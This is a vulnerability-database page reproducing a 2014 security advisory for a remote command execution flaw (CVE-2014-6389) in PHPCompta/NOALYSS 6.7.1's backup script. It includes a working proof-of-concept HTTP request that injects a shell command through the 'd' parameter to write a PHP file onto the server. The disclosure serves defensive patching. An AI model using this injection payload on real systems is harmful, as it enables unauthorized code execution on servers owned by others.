Lucene search
K

PHPCompta/NOALYSS 6.7.1 5638 - Remote Command Execution

🗓️ 02 Oct 2014 00:00:00Reported by PortcullisType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

Remote Command Execution in PHPCompta/NOALYSS version 6.7.1 563

Related
Code
ReporterTitlePublishedViews
Family
0day.today
PHPCompta / NOALYSS 6.7.1 5638 - Remote Command Execution Vulnerability
2 Oct 201400:00
zdt
Circl
CVE-2014-6389
2 Oct 201400:00
circl
CVE
CVE-2014-6389
6 Oct 201423:00
cve
Cvelist
CVE-2014-6389
6 Oct 201423:00
cvelist
exploitpack
PHPComptaNOALYSS 6.7.1 5638 - Remote Command Execution
2 Oct 201400:00
exploitpack
NVD
CVE-2014-6389
6 Oct 201423:55
nvd
Packet Storm
PHPCompta/NOALYSS 6.7.1 5638 Remote Command Execution
2 Oct 201400:00
packetstorm
Prion
Code injection
6 Oct 201423:55
prion
seebug.org
PHPCompta/NOALYSS 6.7.1 5638 - Remote Command Execution
10 Oct 201400:00
seebug
Vulnerability title: Remote Command Execution in PHPCompta/NOALYSS
CVE: CVE-2014-6389
Vendor: PHPCompta
Product: PHPCompta/NOALYSS
Affected version: 6.7.1 5638
Fixed version: 6.7.2
Reported by: Jerzy Kramarz

Details:

PhpCompta 6.7.1-2 does not validate the syntax of the commands when processing backup requests from users. It is possible to abuse the 'd' parameter to inject additional parameters that will then be passed via the php passthru() function to create a backup file, which will subsequently be executed. The proof of concept below will create a file 'exploit.php' in the root directory of the application, which will execute phpinfo() function when called.

GET /phpcompta/backup.php?sa=b&t=m&d=123;%20echo%20%22%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%22%20>%20exploit.php HTTP/1.1
Host: 192.168.56.101
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=3nckv75pburv54tm2iq79dfgl6
Connection: keep-alive

Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-6389/

Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2014 00:00Current
6.6Medium risk
Vulners AI Score6.6
CVSS 27.5
EPSS0.12714
46